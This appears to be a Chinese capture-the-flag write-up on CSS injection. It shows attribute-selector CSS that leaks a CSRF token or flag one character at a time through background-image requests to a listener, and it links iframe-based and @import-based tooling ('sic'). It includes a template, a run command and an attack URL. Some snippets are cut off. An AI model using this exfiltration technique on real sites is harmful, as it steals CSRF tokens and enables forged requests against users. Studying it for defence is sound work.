点击此处获得更好的阅读体验
WriteUp来源
题目考点
- CSS注入
解题思路
能HTML注入,不能XSS(或者被dompurity时),可造成窃取CSRF Token的目的。
通过CSS选择器匹配到CSRF token,接着使用可以发送数据包的属性将数据带出,例如:
1 | input[name=csrf][value^=ca]{ |
过程中有几个问题:
一般CSRF Token的type都为hidden,会有不加载background-image属性的情况(本地测试是最新版FIrefox不加载,Chrome加载)
解决该问题的办法是使用~兄弟选择器(选择和其后具有相同父元素的元素),加载相邻属性的background-image,达到将数据带出的目的。
赛题源码:
1 | <html> |
poc: 通过注入CSS,动态猜解每一个flag字符,同时在服务端监听:
1 | input[name=flag][value^="b"] ~ * { |
通过上述手段只能CSRF Token的部分数据,那我们该如何获得全部数据呢?
poc:https://gist.github.com/d0nutptr/928301bde1d2aa761d1632628ee8f24e
通过不断创建iframe,动态猜解每一位csrf token
当然这需要目标站点x-frame-options
未被禁用,当然本题并未限制此方法
那iframe被禁用了,还有办法注入吗?参考这篇文章所述:[https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b](https://medium.com/@d0nut/better-exfiltration-via-html-injection-31c72a2dae8b)
提供了一个工具,使得可以通过import CSS来获得token:https://github.com/d0nutptr/sic
安装好环境, 起一个窃取CSS模板文件:
template
1 | input[name=flag][value^="{% raw %}{{{% endraw %}:token:}}"] ~ * { background-image: url("{% raw %}{{{% endraw %}:callback:}}"); } |
运行服务:
1 | ./sic -p 3000 --ph "[http://127.0.0.1:3000](http://127.0.0.1:3000)" --ch "[http://127.0.0.1:3001](http://127.0.0.1:3001)" -t template |
attack:
1 | [http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32](http://127.0.0.1:60000/flag.html?css=http://127.0.0.1:3000/staging?len=32) |